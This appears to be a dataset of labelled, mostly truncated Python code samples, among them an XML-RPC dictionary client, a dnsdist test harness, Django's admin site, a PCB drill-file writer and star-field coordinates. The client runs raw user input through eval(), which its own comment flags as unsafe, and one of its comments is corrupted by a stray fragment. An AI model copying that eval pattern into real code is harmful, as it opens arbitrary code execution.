dest=""pretty_print"", action='store_false', help=""turn off pretty printing of output "" ""(default when standard input is a file)"") parser.add_option(""-p"", ""--port"", type=int, default=5204, help='port number (default is 5204)') parser.add_option('-P', '--pretty-print', dest=""pretty_print"", action='store_true', help=""turn on pretty printing of output "" ""(default when standard input is a tty)"") parser.add_option(""-e"", ""--encoding"", default=""utf8"", metavar=""utf8,latin1,ascii,..."", help=""character encoding of output (default is utf8)"") parser.add_option('-V', '--verbose', action='store_true', help=""verbose output for debugging"") (opts, args) = parser.parse_args() if opts.host.startswith(""http://""): opts.host = opts.host[7:] try: host, port = opts.host.split("":"")[:2] except ValueError: host, port = opts.host, None # XMP-RPC requires specification of protocol host = ""http://"" + (host or ""localhost"") try: port = int(port or 5204) except ValueError: exit(""Error: %s is not a valid port number"" % repr(port)) server = xmlrpclib.ServerProxy(""%s:%s"" % (host, port), encoding=""utf-8"", verbose=opts.verbose) try: eval('server.echo(""test"")') except SocketError, inst: print >>stderr, ""Error: %s\nCornetto server not running on %s:%s ?"" % ( inst, host, port), ""See cornetto-server.py -h"" exit(1) help_text = """""" Type ""?"" to see his message. Type ""help()"" for help on available methods. Type ""Ctrl-D"" to exit. Restart with ""cornetto-client.py -h"" to see command line options. """""" startup_msg = ( ""cornetto-client.py (version %s)\n"" % __version__ + ""Copyright (c) Erwin Marsi\n"" + help_text ) if stdin.isatty(): prompt = ""$ "" if opts.pretty_print is None: opts.pretty_print = True print startup_msg else: prompt = """" if opts.pretty_print is None: opts.pretty_print = False # use of eval might allow arbitrary code execution - probably not entirely safe if opts.ask: process = lambda c: eval('server.ask(""%s"")' % c.strip()) else: process = lambda c: eval(""server."" + c.strip()) if opts.pretty_print: formatter = pformat else: formatter = repr # This is nasty way to enforce encoleast_common_subsumers(""fiets"", ""auto"")ding of strings embedded in lists or dicts. # For examample [u'plafonnière'] rather than [u""plafonni\xe8re""] encoder = lambda s: s.decode(""unicode_escape"").encode(opts.encoding, ""backslashreplace"") while True: try: command = raw_input(prompt) if command == ""?"": print help_text else: result = process(command) print encoder(formatter(result)) except EOFError: print ""\nSee you later alligator!"" exit(0) except KeyboardInterrupt: print >>stderr, ""\nInterrupted. Latest command may still run on the server though..."" except SyntaxError: print >>stderr, ""Error: invalid syntax"" except NameError, inst: print >>stderr, ""Error:"", inst, ""- use quotes?"" except xmlrpclib.Error, inst: print >>stderr, inst except SocketError: print >>stderr, ""Error: %s\nCornetto server not running on %s:%s ?\n"" % ( inst, host, port), ""See cornetto-server.py -h"" ",1 "ef __init__(self): """""" Creates the himesis graph representing the AToM3 model HUnitDaughter2Woman_ConnectedLHS """""" # Flag this instance as compiled now self.is_compiled = True super(HUnitDaughter2Woman_ConnectedLHS, self).__init__(name='HUnitDaughter2Woman_ConnectedLHS', num_nodes=0, edges=[]) # Add the edges self.add_edges([]) # Set the graph attributes self[""mm__""] = ['MT_pre__FamiliesToPersonsMM', 'MoTifRule'] self[""MT_constraint__""] = """"""return True"""""" self[""name""] = """""""""""" self[""GUID__""] = uuid.uuid3(uuid.NAMESPACE_DNS,'HUnitDaughter2Woman_ConnectedLHS') self[""equations""] = [] # Set the node attributes # match class Family(Fam) node self.add_node() self.vs[0][""MT_pre__attr1""] = """"""return True"""""" self.vs[0][""MT_label__""] = """"""1"""""" self.vs[0][""mm__""] = """"""MT_pre__Family"""""" self.vs[0][""GUID__""] = uuid.uuid3(uuid.NAMESPACE_DNS,'Fam') # match class Child(Child) node self.add_node() self.vs[1][""MT_pre__attr1""] = """"""return True"""""" self.vs[1][""MT_label__""] = """"""2"""""" self.vs[1][""mm__""] = """"""MT_pre__Child"""""" self.vs[1][""GUID__""] = uuid.uuid3(uuid.NAMESPACE_DNS,'Child') # match association null--daughters-->nullnode self.add_node() self.vs[2][""MT_pre__attr1""] = """"""return attr_value == ""daughters"" """""" self.vs[2][""MT_label__""] = """"""3"""""" self.vs[2][""mm__""] = """"""MT_pre__directLink_S"""""" self.vs[2][""GUID__""] = uuid.uuid3(uuid.NAMESPACE_DNS,'Famassoc2Child') # Add the edges self.add_edges([ (0,2), # match class null(Fam) -> association daughters (2,1), # association null -> match class null(Child) ]) # define evaluation methods for each match class. def eval_attr11(self, attr_value, this): return True def eval_attr12(self, attr_value, this): return True # define evaluation methods for each match association. def eval_attr13(self, attr_value, this): return attr_value == ""daughters"" def constraint(self, PreNode, graph): return True ",1 "t unittest import dns import dns.message import libnacl import libnacl.utils class DNSDistTest(unittest.TestCase): """""" Set up a dnsdist instance and responder threads. Queries sent to dnsdist are relayed to the responder threads, who reply with the response provided by the tests themselves on a queue. Responder threads also queue the queries received from dnsdist on a separate queue, allowing the tests to check that the queries sent from dnsdist were as expected. """""" _dnsDistPort = 5340 _dnsDistListeningAddr = ""127.0.0.1"" _testServerPort = 5350 _toResponderQueue = Queue.Queue() _fromResponderQueue = Queue.Queue() _queueTimeout = 1 _dnsdistStartupDelay = 2.0 _dnsdist = None _responsesCounter = {} _shutUp = True _config_template = """""" """""" _config_params = ['_testServerPort'] _acl = ['127.0.0.1/32'] _consolePort = 5199 _consoleKey = None @classmethod def startResponders(cls): print(""Launching responders.."") cls._UDPResponder = threading.Thread(name='UDP Responder', target=cls.UDPResponder, args=[cls._testServerPort]) cls._UDPResponder.setDaemon(True) cls._UDPResponder.start() cls._TCPResponder = threading.Thread(name='TCP Responder', target=cls.TCPResponder, args=[cls._testServerPort]) cls._TCPResponder.setDaemon(True) cls._TCPResponder.start() @classmethod def startDNSDist(cls, shutUp=True): print(""Launching dnsdist.."") conffile = 'dnsdist_test.conf' params = tuple([getattr(cls, param) for param in cls._config_params]) print(params) with open(conffile, 'w') as conf: conf.write(""-- Autogenerated by dnsdisttests.py\n"") conf.write(cls._config_template % params) dnsdistcmd = [os.environ['DNSDISTBIN'], '-C', conffile, '-l', '%s:%d' % (cls._dnsDistListeningAddr, cls._dnsDistPort) ] for acl in cls._acl: dnsdistcmd.extend(['--acl', acl]) print(' '.join(dnsdistcmd)) if shutUp: with open(os.devnull, 'w') as fdDevNull: cls._dnsdist = subprocess.Popen(dnsdistcmd, close_fds=True, stdout=fdDevNull) else: cls._dnsdist = subprocess.Popen(dnsdistcmd, close_fds=True) if 'DNSDIST_FAST_TESTS' in os.environ: delay = 0.5 else: delay = cls._dnsdistStartupDelay time.sleep(delay) if cls._dnsdist.poll() is not None: cls._dnsdist.kill() sys.exit(cls._dnsdist.returncode) @classmethod def setUpSockets(cls): print(""Setting up UDP socket.."") cls._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) cls._sock.settimeout(2.0) cls._sock.connect((""127.0.0.1"", cls._dnsDistPort)) @classmethod def setUpClass(cls): cls.startResponders() cls.startDNSDist(cls._shutUp) cls.setUpSockets() print(""Launching tests.."") @classmethod def tearDownClass(cls): if 'DNSDIST_FAST_TESTS' in os.environ: delay = 0.1 else: delay = 1.0 if cls._dnsdist: cls._dnsdist.terminate() if cls._dnsdist.poll() is None: time.sleep(delay) if cls._dnsdist.poll() is None: cls._dnsdist.kill() cls._dnsdist.wait() @classmethod def _ResponderIncrementCounter(cls): if threading.currentThread().name in cls._responsesCounter: cls._responsesCounter[threading.currentThread().name] += 1 else: cls._responsesCounter[threading.currentThread().name] = 1 @classmethod def _getResponse(cls, request): response = None if len(request.question) != 1: print(""Skipping query with question count %d"" % (len(request.question))) return None healthcheck = not str(request.question[0].name).endswith('tests.powerdns.com.') if not healthcheck: cls._ResponderIncrementCounter() if not cls._toResponderQueue.empty(): response = cls._toResponderQueue.get(True, cls._queueTimeout) if response: response = copy.copy(response) response.id = request.id cls._fromResponderQueue.put(request, True, cls._queueTimeout) if not response: # unexpected query, or health check response = dns.message.make_response(request) return response @classmethod def UDPResponder(cls, port, ignoreTrailing=False): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) sock.bind((""127.0.0.1"", port)) while True: data, addr = sock.recvfrom(4096) request = dns.message.from_wire(data, ignore_trailing=ignoreTrailing) response = cls._getResponse(request) if not response: continue sock.settimeout(2.0) sock.sendto(response.to_wire(), addr) sock.settimeout(None) sock.close() @classmethod def TCPResponder(cls, port, ignoreTrailing=False, multipleResponses=False): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) try: sock.bind((""127.0.0.1"", port)) except socket.error as e: print(""Error binding in the TCP responder: %s"" % str(e)) sys.exit(1) sock.listen(100) while True: (conn, _) = sock.accept() conn.settimeout(2.0) data = conn.recv(2) (datalen,) = struct.unpack(""!H"", data) data = conn.recv(datalen) request = dns.message.from_wire(data, ignore_trailing=ignoreTrailing) response = cls._getResponse(request) if not response: conn.close() continue wire = response.to_wire() conn.send(struct.pack(""!H"", len(wire))) conn.send(wire) while multipleResponses: if cls._toResponderQueue.empty(): break response = cls._toResponderQueue.get(True, cls._queueTimeout) if not response: break response = copy.copy(response) response.id = request.id wire = response.to_wire() try: conn.send(struct.pack(""!H"", len(wire))) conn.send(wire) except socket.error as e: # some of the tests are going to close # the connection on us, just deal with it break conn.close() sock.close() @classmethod def sendUDPQuery(cls, query, response, useQueue=True, timeout=2.0, rawQuery=False): if useQueue: cls._toResponderQueue.put(response, True, timeout) if timeout: cls._sock.settimeout(timeout) try: if not rawQuery: query = query.to_wire() cls._sock.send(query) data = cls._sock.recv(4096) except socket.timeout: data = None finally: if timeout: cls._sock.settimeout(None) receivedQuery = None message = None if useQueue and not cls._fromResponderQueue.empty(): receivedQuery = cls._fromResponderQueue.get(True, timeout) if data: message = dns.message.from_wire(data) return (receivedQuery, message) @classmethod def openTCPConnection(cls, timeout=None): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if timeout: sock.settimeout(timeout) sock.connect((""127.0.0.1"", cls._dnsDistPort)) return sock @classmethod def sendTCPQueryOverConnection(cls, sock, query, rawQuery=False): if not rawQuery: wire = query.to_wire() else: wire = query sock.send(struct.pack(""!H"", len(wire))) sock.send(wire) @classmethod def recvTCPResponseOverConnection(cls, sock): message = None data = sock.recv(2) if data: (datalen,) = struct.unpack(""!H"", data) data = sock.recv(datalen) if data: message = dns.message.from_wire(data) return message @classmethod def sendTCPQuery(cls, query, response, useQueue=True, timeout=2.0, rawQuery=False): message = None if useQueue: cls._toResponderQueue.put(response, True, timeout) sock = cls.openTCPConnection(timeout) try: cls.sendTCPQueryOverConnection(sock, query, rawQuery) message = cls.recvTCPResponseOverConnection(sock) except socket.timeout as e: print(""Timeout: %s"" % (str(e))) except socket.error as e: print(""Network error: %s"" % (str(e))) finally: sock.close() receivedQuery = None if useQueue and not cls._fromResponderQueue.empty(): receivedQuery = cls._fromResponderQueue.get(True, timeout) return (receivedQuery, message) @classmethod def sendTCPQueryWithMultipleResponses(cls, query, responses, useQueue=True, timeout=2.0, rawQuery=False): if useQueue: for response in responses: cls._toResponderQueue.put(response, True, timeout) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if timeout: sock.settimeout(timeout) sock.connect((""127.0.0.1"", cls._dnsDistPort)) messages = [] try: if not rawQuery: wire = query.to_wire() else: wire = query sock.send(struct.pack(""!H"", len(wire))) sock.send(wire) while True: data = sock.recv(2) if not data: break (datalen,) = struct.unpack(""!H"", data) data = sock.recv(datalen) messages.append(dns.message.from_wire(data)) except socket.timeout as e: print(""Timeout: %s"" % (str(e))) except socket.error as e: print(""Network error: %s"" % (str(e))) finally: sock.close() receivedQuery = None if useQueue and not cls._fromResponderQueue.empty(): receivedQuery = cls._fromResponderQueue.get(True, timeout) return (receivedQuery, messages) def setUp(self): # This function is called before every tests # Clear the responses counters for key in self._responsesCounter: self._responsesCounter[key] = 0 # Make sure the queues are empty, in case # a previous test failed while not self._toResponderQueue.empty(): self._toResponderQueue.get(False) while not self._fromResponderQueue.empty(): self._fromResponderQueue.get(False) @classmethod def clearToResponderQueue(cls): while not cls._toResponderQueue.empty(): cls._toResponderQueue.get(False) @classmethod def clearFromResponderQueue(cls): while not cls._fromResponderQueue.empty(): cls._fromResponderQueue.get(False) @classmethod def clearResponderQueues(cls): cls.clearToResponderQueue() cls.clearFromResponderQueue() @staticmethod def generateConsoleKey(): return libnacl.utils.salsa_key() @classmethod def _encryptConsole(cls, command, nonce): if cls._consoleKey is None: return command return libnacl.crypto_secretbox(command, nonce, cls._consoleKey) @classmethod def _decryptConsole(cls, command, nonce): if cls._consoleKey is None: return command return libnacl.crypto_secretbox_open(command, nonce, cls._consoleKey) @classmethod def sendConsoleCommand(cls, command, timeout=1.0): ourNonce = libnacl.utils.rand_nonce() theirNonce = None sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if timeout: sock.settimeout(timeout) sock.connect((""127.0.0.1"", cls._consolePort)) sock.send(ourNonce) theirNonce = sock.recv(len(ourNonce)) halfNonceSize = len(ourNonce) / 2 readingNonce = ourNonce[0:halfNonceSize] + theirNonce[halfNonceSize:] writingNonce = theirNonce[0:halfNonceSize] + ourNonce[halfNonceSize:] msg = cls._encryptConsole(command, writingNonce) sock.send(struct.pack(""!I"", len(msg))) sock.send(msg) data = sock.recv(4) (responseLen,) = struct.unpack(""!I"", data) data = sock.recv(responseLen) response = cls._decryptConsole(data, readingNonce) return response ",1 " combinations_list = [] index = 4 #Generate all combinations while index > 0: combinations_list.append(list(combinations(str(n), index))) index -= 1 #Formatting combinations for index in combinations_list: for combination in index: subsequences.append(''.join(combination)) return subsequences if __name__ == '__main__': #The modulo modulo = ((10 ** 9) + 7) #Get number of cases cases = int(raw_input()) while cases > 0: value = raw_input() good_subsequences = 0 for sub in generate_subsequences(value): if is_good(sub): good_subsequences += 1 print (good_subsequences % modulo)-1 cases -= 1 ",1 "from . import utils from .point import Point def makeExcellon(manufacturer='default'): """""" """""" ns = {'pcbmode':config.cfg['ns']['pcbmode'], 'svg':config.cfg['ns']['svg']} # Open the board's SVG svg_in = utils.openBoardSVG() drills_layer = svg_in.find(""//svg:g[@pcbmode:sheet='drills']"", namespaces=ns) excellon = Excellon(drills_layer) # Save to file base_dir = os.path.join(config.cfg['base-dir'], config.cfg['locations']['build'], 'production') base_name = ""%s_rev_%s"" % (config.brd['config']['name'], config.brd['config']['rev']) filename_info = config.cfg['manufacturers'][manufacturer]['filenames']['drills'] add = '_%s.%s' % ('drills', filename_info['plated'].get('ext') or 'txt') filename = os.path.join(base_dir, base_name + add) with open(filename, ""wb"") as f: for line in excellon.getExcellon(): f.write(line) class Excellon(): """""" """""" def __init__(self, svg): """""" """""" self._svg = svg self._ns = {'pcbmode':config.cfg['ns']['pcbmode'], 'svg':config.cfg['ns']['svg']} # Get all drill paths except for the ones used in the # drill-index drill_paths = self._svg.findall("".//svg:g[@pcbmode:type='component-shapes']//svg:path"", namespaces=self._ns) drills_dict = {} for drill_path in drill_paths: diameter = drill_path.get('{'+config.cfg['ns']['pcbmode']+'}diameter') location = self._getLocation(drill_path) if diameter not in drills_dict: drills_dict[diameter] = {} drills_dict[diameter]['locations'] = [] drills_dict[diameter]['locations'].append(location) self._preamble = self._createPreamble() self._content = self._createContent(drills_dict) self._postamble = self._createPostamble() def getExcellon(self): return (self._preamble+ self._content+ self._postamble) def _createContent(self, drills): """""" """""" ex = [] for i, diameter in enumerate(drills): # This is probably not necessary, but I'm not 100% certain # that if the item order of a dict is gurenteed. If not # the result can be quite devastating where drill # diameters are wrong! # Drill index must be greater than 0 drills[diameter]['index'] = i+1 ex.append(""T%dC%s\n"" % (i+1, diameter)) ex.append('M95\n') # End of a part program header for diameter in drills: ex.append(""T%s\n"" % drills[diameter]['index']) for coord in drills[diameter]['locations']: ex.append(self._getPoint(coord)) return ex def _createPreamble(self): """""" """""" ex = [] ex.append('M48\n') # Beginning of a part program header ex.append('METRIC,TZ\n') # Metric, trailing zeros ex.append('G90\n') # Absolute mode ex.append('M71\n') # Metric measuring mode return ex def _createPostamble(self): """""" """""" ex = [] ex.append('M30\n') # End of Program, rewind return ex def _getLocation(self, path): """""" Returns the location of a path, factoring in all the transforms of its ancestors, and its own transform """""" location = Point() # We need to get the transforms of all ancestors that have # one in order to get the location correctly ancestors = path.xpath(""ancestor::*[@transform]"") for ancestor in ancestors: transform = ancestor.get('transform') transform_data = utils.parseTransform(transform) # Add them up location += transform_data['location'] # Add the transform of the path itself transform = path.get('transform') if transform != None: transform_data = utils.parseTransform(transform) location += transform_data['location'] return location def _getPoint(self, point): """""" Converts a Point type into an Excellon coordinate """""" return ""X%.6fY%.6f\n"" % (point.x, -point.y) ",1 " Chavarría # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import gettext _ = gettext.gettext from gi.repository import Gtk class Console(Gtk.Window): def __init__(self): super(Console, self).__init__() sw = Gtk.ScrolledWindow() sw.set_policy( Gtk.PolicyType.AUTOMATIC, Gtk.PolicyType.AUTOMATIC ) self.textview = Gtk.TextView() self.textbuffer = self.textview.get_buffer() self.textview.set_editable(False) self.textview.set_wrap_mode(Gtk.WrapMode.WORD) sw.add(self.textview) self.set_title(_('Migasfree Console')) self.set_icon_name('migasfree') self.resize(640, 420) self.set_decorated(True) self.set_border_width(10) self.connect('delete-event', self.on_click_hide) box = Gtk.Box(spacing=6, orientation='vertical') box.pack_start(sw, expand=True, fill=True, padding=0) self.progress = Gtk.ProgressBar() self.progress.set_pulse_step(0.02) progress_box = Gtk.Box(False, 0, orientation='vertical') progress_box.pack_start(self.progress, False, True, 0) box.pack_start(progress_box, expand=False, fill=True, padding=0) self.add(box) def on_timeout(self, user_data): self.progress.pulse() return True def on_click_hide(self, widget, data=None): self.hide() return True ",1 "jango.contrib.admin.forms import AdminAuthenticationForm from django.contrib.auth import logout as auth_logout, REDIRECT_FIELD_NAME from django.contrib.contenttypes import views as contenttype_views from django.views.decorators.csrf import csrf_protect from django.db.models.base import ModelBase from django.core.exceptions import ImproperlyConfigured from django.core.urlresolvers import reverse, NoReverseMatch from django.template.response import TemplateResponse from django.utils import six from django.utils.text import capfirst from django.utils.translation import ugettext as _ from django.views.decorators.cache import never_cache from django.conf import settings LOGIN_FORM_KEY = 'this_is_the_login_form' class AlreadyRegistered(Exception): pass class NotRegistered(Exception): pass class AdminSite(object): """""" An AdminSite object encapsulates an instance of the Django admin application, ready to be hooked in to your URLconf. Models are registered with the AdminSite using the register() method, and the get_urls() method can then be used to access Django view functions that present a full admin interface for the collection of registered models. """""" login_form = None index_template = None app_index_template = None login_template = None logout_template = None password_change_template = None password_change_done_template = None def __init__(self, name='admin', app_name='admin'): self._registry = {} # model_class class -> admin_class instance self.name = name self.app_name = app_name self._actions = {'delete_selected': actions.delete_selected} self._global_actions = self._actions.copy() def register(self, model_or_iterable, admin_class=None, **options): """""" Registers the given model(s) with the given admin class. The model(s) should be Model classes, not instances. If an admin class isn't given, it will use ModelAdmin (the default admin options). If keyword arguments are given -- e.g., list_display -- they'll be applied as options to the admin class. If a model is already registered, this will raise AlreadyRegistered. If a model is abstract, this will raise ImproperlyConfigured. """""" if not admin_class: admin_class = ModelAdmin # Don't import the humongous validation code unless required if admin_class and settings.DEBUG: from django.contrib.admin.validation import validate else: validate = lambda model, adminclass: None if isinstance(model_or_iterable, ModelBase): model_or_iterable = [model_or_iterable] for model in model_or_iterable: if model._meta.abstract: raise ImproperlyConfigured('The model %s is abstract, so it ' 'cannot be registered with admin.' % model.__name__) if model in self._registry: raise AlreadyRegistered('The model %s is already registered' % model.__name__) # Ignore the registration if the model has been # swapped out. if not model._meta.swapped: # If we got **options then dynamically construct a subclass of # admin_class with those **options. if options: # For reasons I don't quite understand, without a __module__ # the created class appears to ""live"" in the wrong place, # which causes issues later on. options['__module__'] = __name__ admin_class = type(""%sAdmin"" % model.__name__, (admin_class,), options) # Validate (which might be a no-op) validate(admin_class, model) # Instantiate the admin class to save in the registry self._registry[model] = admin_class(model, self) def unregister(self, model_or_iterable): """""" Unregisters the given model(s). If a model isn't already registered, this will raise NotRegistered. """""" if isinstance(model_or_iterable, ModelBase): model_or_iterable = [model_or_iterable] for model in model_or_iterable: if model not in self._registry: raise NotRegistered('The model %s is not registered' % model.__name__) del self._registry[model] def add_action(self, action, name=None): """""" Register an action to be available globally. """""" name = name or action.__name__ self._actions[name] = action self._global_actions[name] = action def disable_action(self, name): """""" Disable a globally-registered action. Raises KeyError for invalid names. """""" del self._actions[name] def get_action(self, name): """""" Explicitly get a registered global action whether it's enabled or not. Raises KeyError for invalid names. """""" return self._global_actions[name] @property def actions(self): """""" Get all the enabled actions as an iterable of (name, func). """""" return six.iteritems(self._actions) def has_permission(self, request): """""" Returns True if the given HttpRequest has permission to view *at least one* page in the admin site. """""" return request.user.is_active and request.user.is_staff def check_dependencies(self): """""" Check that all things needed to run the admin have been correctly installed. The default implementation checks that LogEntry, ContentType and the auth context processor are installed. """""" from django.contrib.admin.models import LogEntry from django.contrib.contenttypes.models import ContentType if not LogEntry._meta.installed: raise ImproperlyConfigured(""Put 'django.contrib.admin' in your "" ""INSTALLED_APPS setting in order to use the admin application."") if not ContentType._meta.installed: raise ImproperlyConfigured(""Put 'django.contrib.contenttypes' in "" ""your INSTALLED_APPS setting in order to use the admin application."") if not ('django.contrib.auth.context_processors.auth' in settings.TEMPLATE_CONTEXT_PROCESSORS or 'django.core.context_processors.auth' in settings.TEMPLATE_CONTEXT_PROCESSORS): raise ImproperlyConfigured(""Put 'django.contrib.auth.context_processors.auth' "" ""in your TEMPLATE_CONTEXT_PROCESSORS setting in order to use the admin application."") def admin_view(self, view, cacheable=False): """""" Decorator to create an admin view attached to this ``AdminSite``. This wraps the view and provides permission checking by calling ``self.has_permission``. You'll want to use this from within ``AdminSite.get_urls()``: class MyAdminSite(AdminSite): def get_urls(self): from django.conf.urls import patterns, url urls = super(MyAdminSite, self).get_urls() urls += patterns('', url(r'^my_view/$', self.admin_view(some_view)) ) return urls By default, admin_views are marked non-cacheable using the ``never_cache`` decorator. If the view can be safely cached, set cacheable=True. """""" def inner(request, *args, **kwargs): if LOGIN_FORM_KEY in request.POST and request.user.is_authenticated(): auth_logout(request) if not self.has_permission(request): if request.path == reverse('admin:logout', current_app=self.name): index_path = reverse('admin:index', current_app=self.name) return HttpResponseRedirect(index_path) return self.login(request) return view(request, *args, **kwargs) if not cacheable: inner = never_cache(inner) # We add csrf_protect here so this function can be used as a utility # function for any view, without having to repeat 'csrf_protect'. if not getattr(view, 'csrf_exempt', False): inner = csrf_protect(inner) return update_wrapper(inner, view) def get_urls(self): from django.conf.urls import patterns, url, include if settings.DEBUG: self.check_dependencies() def wrap(view, cacheable=False): def wrapper(*args, **kwargs): return self.admin_view(view, cacheable)(*args, **kwargs) return update_wrapper(wrapper, view) # Admin-site-wide views. urlpatterns = patterns('', url(r'^$', wrap(self.index), name='index'), url(r'^logout/$', wrap(self.logout), name='logout'), url(r'^password_change/$', wrap(self.password_change, cacheable=True), name='password_change'), url(r'^password_change/done/$', wrap(self.password_change_done, cacheable=True), name='password_change_done'), url(r'^jsi18n/$', wrap(self.i18n_javascript, cacheable=True), name='jsi18n'), url(r'^r/(?P\d+)/(?P.+)/$', wrap(contenttype_views.shortcut), name='view_on_site'), url(r'^(?P\w+)/$', wrap(self.app_index), name='app_list') ) # Add in each model's views. for model, model_admin in six.iteritems(self._registry): urlpatterns += patterns('', url(r'^%s/%s/' % (model._meta.app_label, model._meta.model_name), include(model_admin.urls)) ) return urlpatterns @property def urls(self): return self.get_urls(), self.app_name, self.name def password_change(self, request): """""" Handles the ""change password"" task -- both form display and validation. """""" from django.contrib.auth.views import password_change url = reverse('admin:password_change_done', current_app=self.name) defaults = { 'current_app': self.name, 'post_change_redirect': url } if self.password_change_template is not None: defaults['template_name'] = self.password_change_template return password_change(request, **defaults) def password_change_done(self, request, extra_context=None): """""" Displays the ""success"" page after a password change. """""" from django.contrib.auth.views import password_change_done defaults = { 'current_app': self.name, 'extra_context': extra_context or {}, } if self.password_change_done_template is not None: defaults['template_name'] = self.password_change_done_template return password_change_done(request, **defaults) def i18n_javascript(self, request): """""" Displays the i18n JavaScript that the Django admin requires. This takes into account the USE_I18N setting. If it's set to False, the generated JavaScript will be leaner and faster. """""" if settings.USE_I18N: from django.views.i18n import javascript_catalog else: from django.views.i18n import null_javascript_catalog as javascript_catalog return javascript_catalog(request, packages=['django.conf', 'django.contrib.admin']) @never_cache def logout(self, request, extra_context=None): """""" Logs out the user for the given HttpRequest. This should *not* assume the user is already logged in. """""" from django.contrib.auth.views import logout defaults = { 'current_app': self.name, 'extra_context': extra_context or {}, } if self.logout_template is not None: defaults['template_name'] = self.logout_template return logout(request, **defaults) @never_cache def login(self, request, extra_context=None): """""" Displays the login form for the given HttpRequest. """""" from django.contrib.auth.views import login context = { 'title': _('Log in'), 'app_path': request.get_full_path(), REDIRECT_FIELD_NAME: request.get_full_path(), } context.update(extra_context or {}) defaults = { 'extra_context': context, 'current_app': self.name, 'authentication_form': self.login_form or AdminAuthenticationForm, 'template_name': self.login_template or 'admin/login.html', } return login(request, **defaults) @never_cache def index(self, request, extra_context=None): """""" Displays the main admin index page, which lists all of the installed apps that have been registered in this site. """""" app_dict = {} user = request.user for model, model_admin in self._registry.items(): app_label = model._meta.app_label has_module_perms = user.has_module_perms(app_label) if has_module_perms: perms = model_admin.get_model_perms(request) # Check whether user has any perm for this module. # If so, add the module to the model_list. if True in perms.values(): info = (app_label, model._meta.model_name) model_dict = { 'name': capfirst(model._meta.verbose_name_plural), 'object_name': model._meta.object_name, 'perms': perms, } if perms.get('change', False): try: model_dict['admin_url'] = reverse('admin:%s_%s_changelist' % info, current_app=self.name) except NoReverseMatch: pass if perms.get('add', False): try: model_dict['add_url'] = reverse('admin:%s_%s_add' % info, current_app=self.name) except NoReverseMatch: pass if app_label in app_dict: app_dict[app_label]['models'].append(model_dict) else: app_dict[app_label] = { 'name': app_label.title(), 'app_label': app_label, 'app_url': reverse('admin:app_list', kwargs={'app_label': app_label}, current_app=self.name), 'has_module_perms': has_module_perms, 'models': [model_dict], } # Sort the apps alphabetically. app_list = list(six.itervalues(app_dict)) app_list.sort(key=lambda x: x['name']) # Sort the models alphabetically within each app. for app in app_list: app['models'].sort(key=lambda x: x['name']) context = { 'title': _('Site administration'), 'app_list': app_list, } context.update(extra_context or {}) return TemplateResponse(request, self.index_template or 'admin/index.html', context, current_app=self.name) def app_index(self, request, app_label, extra_context=None): user = request.user has_module_perms = user.has_module_perms(app_label) app_dict = {} for model, model_admin in self._registry.items(): if app_label == model._meta.app_label: if has_module_perms: perms = model_admin.get_model_perms(request) # Check whether user has any perm for this module. # If so, add the module to the model_list. if True in perms.values(): info = (app_label, model._meta.model_name) model_dict = { 'name': capfirst(model._meta.verbose_name_plural), 'object_name': model._meta.object_name, 'perms': perms, } if perms.get('change', False): try: model_dict['admin_url'] = reverse('admin:%s_%s_changelist' % info, current_app=self.name) except NoReverseMatch: pass if perms.get('add', False): try: model_dict['add_url'] = reverse('admin:%s_%s_add' % info, current_app=self.name) except NoReverseMatch: pass if app_dict: app_dict['models'].append(model_dict), else: # First time around, now that we know there's # something to display, add in the necessary meta # information. app_dict = { 'name': app_label.title(), 'app_label': app_label, 'app_url': '', 'has_module_perms': has_module_perms, 'models': [model_dict], } if not app_dict: raise Http404('The requested admin page does not exist.') # Sort the models alphabetically within each app. app_dict['models'].sort(key=lambda x: x['name']) context = { 'title': _('%s administration') % capfirst(app_label), 'app_list': [app_dict], } context.update(extra_context or {}) return TemplateResponse(request, self.app_index_template or [ 'admin/%s/app_index.html' % app_label, 'admin/app_index.html' ], context, current_app=self.name) # This global object represents the default admin site, for the common case. # You can instantiate AdminSite in your own code to create a custom admin site. site = AdminSite() ",1 "9782661111 , '17:58:32.8189','-27:58:41.758' ], 'ROME-FIELD-03':[ 268.000049542 , -28.8195573333 , '17:52:00.0119','-28:49:10.4064' ], 'ROME-FIELD-04':[ 268.180171708 , -29.27851275 , '17:52:43.2412','-29:16:42.6459' ], 'ROME-FIELD-05':[ 268.35435 , -30.2578356389 , '17:53:25.044','-30:15:28.2083' ], 'ROME-FIELD-06':[ 268.356124833 , -29.7729819283 , '17:53:25.47','-29:46:22.7349' ], 'ROME-FIELD-07':[ 268.529571333 , -28.6937071111 , '17:54:07.0971','-28:41:37.3456' ], 'ROME-FIELD-08':[ 268.709737083 , -29.1867251944 , '17:54:50.3369','-29:11:12.2107' ], 'ROME-FIELD-09':[ 268.881108542 , -29.7704673333 , '17:55:31.4661','-29:46:13.6824' ], 'ROME-FIELD-10':[ 269.048498333 , -28.6440675 , '17:56:11.6396','-28:38:38.643' ], 'ROME-FIELD-11':[ 269.23883225 , -29.2716684211 , '17:56:57.3197','-29:16:18.0063' ], 'ROME-FIELD-12':[ 269.39478875 , -30.0992361667 , '17:57:34.7493','-30:05:57.2502' ], 'ROME-FIELD-13':[ 269.563719375 , -28.4422328996 , '17:58:15.2927','-28:26:32.0384' ], 'ROME-FIELD-14':[ 269.758843 , -29.1796030365 , '17:59:02.1223','-29:10:46.5709' ], 'ROME-FIELD-15':[ 269.78359875 , -29.63940425 , '17:59:08.0637','-29:38:21.8553' ], 'ROME-FIELD-16':[ 270.074981708 , -28.5375585833 , '18:00:17.9956','-28:32:15.2109' ], 'ROME-FIELD-17':[ 270.81 , -28.0978333333 , '18:03:14.4','-28:05:52.2' ], 'ROME-FIELD-18':[ 270.290886667 , -27.9986032778 , '18:01:09.8128','-27:59:54.9718' ], 